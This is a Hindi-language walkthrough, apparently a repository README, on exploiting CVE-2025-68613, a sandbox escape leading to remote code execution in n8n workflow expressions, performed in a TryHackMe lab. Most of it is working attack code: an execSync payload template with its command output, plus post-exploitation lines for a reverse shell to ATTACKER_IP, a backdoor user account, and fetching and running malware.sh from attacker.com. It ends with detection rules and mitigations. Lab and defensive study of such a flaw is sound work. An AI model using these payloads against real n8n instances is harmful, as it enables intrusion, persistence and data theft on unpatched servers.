
CVE-2025-68613 के शोषण के लिए शैक्षिक वॉकथ्रू, जो n8n वर्कफ़्लो ऑटोमेशन में एक महत्वपूर्ण RCE है। इसमें एक्सप्रेशन इंजेक्शन, सैंडबॉक्स एस्केप, पेलोड डेवलपमेंट और TryHackMe लैब के माध्यम से डिटेक्शन रणनीतियाँ शामिल हैं।
यह रिपॉजिटरी CVE-2025-68613 (CVSS 9.9) के हाथों-हाथ शोषण का दस्तावेज़ीकरण करती है, जो n8n वर्कफ़्लो ऑटोमेशन प्लेटफ़ॉर्म (संस्करण 0.211.0 से 1.120.3) को प्रभावित करने वाली एक महत्वपूर्ण रिमोट कोड निष्पादन भेद्यता है।
यह शोषण नैतिक रूप से एक नियंत्रित TryHackMe प्रयोगशाला वातावरण में केवल शैक्षिक उद्देश्यों के लिए किया गया था।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2025-68613 |
| CVSS स्कोर | 9.9 (गंभीर) |
| प्रकाशित | 19 दिसंबर, 2025 |
| प्रभावित उत्पाद | n8n वर्कफ़्लो ऑटोमेशन प्लेटफ़ॉर्म |
| भेद्यता प्रकार | एक्सप्रेशन इंजेक्शन → सैंडबॉक्स एस्केप → RCE |
| हमला वेक्टर | प्रमाणित उपयोगकर्ता (डिफ़ॉल्ट) |
| पैच किए गए संस्करण | 1.120.4, 1.121.1, 1.122.0+ |
| प्रभावित संस्करण | 0.211.0 - 1.120.3 |
n8n एक ओपन-सोर्स वर्कफ़्लो ऑटोमेशन प्लेटफ़ॉर्म है जो उपयोगकर्ताओं को कार्य स्वचालन के लिए अनुप्रयोगों और सेवाओं को दृश्य रूप से जोड़ने की अनुमति देता है। इसमें निम्नलिखित विशेषताएं शामिल हैं:
{{ }} में लिपटे गतिशील एक्सप्रेशन जावास्क्रिप्ट के रूप में मूल्यांकित होते हैंभेद्यता n8n के वर्कफ़्लो एक्सप्रेशन मूल्यांकन प्रणाली में निहित है। जब प्रमाणित उपयोगकर्ता वर्कफ़्लो कॉन्फ़िगर करते हैं, तो उनका इनपुट पर्याप्त सैंडबॉक्सिंग के बिना जावास्क्रिप्ट कोड के रूप में संसाधित होता है।
Expression Sandbox
↓ ('this' के माध्यम से भागना)
Node.js Global Context
↓ (mainModule तक पहुंच)
Module System (require)
↓ (child_process लोड करना)
System Command Execution
{{ }} में लिपटे उपयोगकर्ता एक्सप्रेशन बिना उचित संदर्भ अलगाव के कच्चे जावास्क्रिप्ट के रूप में मूल्यांकित होते हैंthis ऑब्जेक्ट तक पहुंच इच्छित सैंडबॉक्स प्रतिबंधों से भागने की अनुमति देती हैprocess.mainModule.require() Node.js मॉड्यूल सिस्टम तक पहुंच प्रदान करता हैchild_process मॉड्यूल लोड कर सकता है(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
व्याख्या:
this → Node.js वैश्विक ऑब्जेक्टthis.process → Node.js प्रक्रिया ऑब्जेक्टprocess.mainModule → n8n एप्लिकेशन का रूट मॉड्यूल.require('child_process') → सिस्टम कमांड निष्पादन मॉड्यूल लोड करें.execSync('COMMAND') → शेल कमांड को समकालिक रूप से निष्पादित करें.toString() → Buffer आउटपुट को पठनीय स्ट्रिंग में बदलेंकमजोर n8n इंस्टेंस तक पहुंचें और मान्य क्रेडेंशियल्स के साथ लॉगिन करें।
प्रयोगशाला क्रेडेंशियल्स:
[email protected]Try12345!
लॉगिन के बाद, आपको वर्कफ़्लो निर्माण इंटरफ़ेस प्रस्तुत किया जाता है। एक नया वर्कफ़्लो शुरू करने के लिए "Start from scratch" पर क्लिक करें।

"Add first step" पर क्लिक करें और "Manual Trigger" खोजें। यह नोड वर्कफ़्लो निष्पादन के लिए प्रवेश बिंदु के रूप में कार्य करता है।

उद्देश्य: मैनुअल ट्रिगर नोड UI में "Execute workflow" बटन के माध्यम से वर्कफ़्लो के मैन्युअल निष्पादन की अनुमति देता है, जो परीक्षण के लिए आदर्श है।
फ़ील्ड मैपिंग करने के लिए एक "Edit Fields" नोड जोड़ें। यहीं पर भेद्यता का शोषण किया जाता है।

कॉन्फ़िगरेशन चरण:
id कमांड को निष्पादित करने और उपयोगकर्ता/विशेषाधिकार जानकारी प्राप्त करने के लिए पेलोड इंजेक्ट करें।
पेलोड:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
परिणाम:
uid=1000(node) gid=1000(node) groups=1000(node)

प्राप्त जानकारी:
ls कमांड निष्पादित करने और निर्देशिका सामग्री को सूचीबद्ध करने के लिए पेलोड संशोधित करें।
पेलोड:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

आउटपुट दिखाता है:
flag.txtशोषण पूरा करने के लिए cat कमांड का उपयोग करके फ़्लैग फ़ाइल पढ़ें।
पेलोड:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
फ़्लैग प्राप्त:
THM{n8n_exposed_workflow}

नियंत्रण के लिए इंटरैक्टिव शेल पहुंच स्थापित करें:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
निरंतर पहुंच के लिए एक नया सिस्टम उपयोगकर्ता जोड़ें:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
दूरस्थ कोड लाएं और निष्पादित करें:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
sudo विशेषाधिकारों की जांच करें:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
पर्यावरण चर निकालें:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
विश्लेषण के लिए अपने प्रॉक्सी को अनुरोध निकायों को लॉग करने के लिए कॉन्फ़िगर करें:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
वर्कफ़्लो API अनुरोधों के माध्यम से शोषण प्रयासों का पता लगाएं:
title: CVE-2025-68613 - n8n एक्सप्रेशन इंजेक्शन RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
n8n द्वारा स्पॉन किए गए संदिग्ध चाइल्ड प्रक्रियाओं की निगरानी करें:
/root/.n8n/logs//var/log/auth.log, /var/log/syslogprocess.mainModulerequire('child_process')execSync या spawnn8n को अपडेट करें पैच किए गए संस्करणों में:
नेटवर्क पहुंच प्रतिबंधित करें
मजबूत प्रमाणीकरण
निगरानी और लॉगिंग
इनपुट सत्यापन और स्वच्छता
सैंडबॉक्स कार्यान्वयन
न्यूनतम विशेषाधिकार का सिद्धांत
कोड समीक्षा और सुरक्षा परीक्षण
यह दस्तावेज़ीकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। वर्णित शोषण तकनीकें इसके लिए अभिप्रेत हैं:
कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। सुरक्षा परीक्षण करने से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें।
.
├── README.md # यह फ़ाइल
├── exploitation-details.md # तकनीकी गहन गाइड
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
यह राइटअप TryHackMe प्रयोगशाला वातावरण में CVE-2025-68613 के सफल शोषण का दस्तावेज़ीकरण करता है। यह भेद्यता सुरक्षित कोड मूल्यांकन के महत्वपूर्ण महत्व और ऑटोमेशन प्लेटफ़ॉर्म में अपर्याप्त सैंडबॉक्स कार्यान्वयन के खतरों को प्रदर्शित करती है।
इस भेद्यता को समझने से आक्रामक सुरक्षा टीमों को समान मुद्दों की पहचान करने और रक्षात्मक टीमों को अधिक प्रभावी पहचान रणनीतियाँ विकसित करने में मदद मिलती है।
| चरण | क्रिया | समय |
|---|
| 1 | n8n इंस्टेंस तक पहुंचें | सेकंड |
| 2 | वर्कफ़्लो बनाएं/संशोधित करें | < 1 मिनट |
| 3 | फ़ील्ड मैपिंग नोड जोड़ें | < 1 मिनट |
| 4 | id कमांड इंजेक्ट और निष्पादित करें | < 30 सेकंड |
| 5 | ls के साथ फ़ाइल सिस्टम की गणना करें | < 1 मिनट |
| 6 | cat के साथ डेटा निकालें | < 30 सेकंड |
| कुल | पूर्ण RCE शोषण | < 5 मिनट |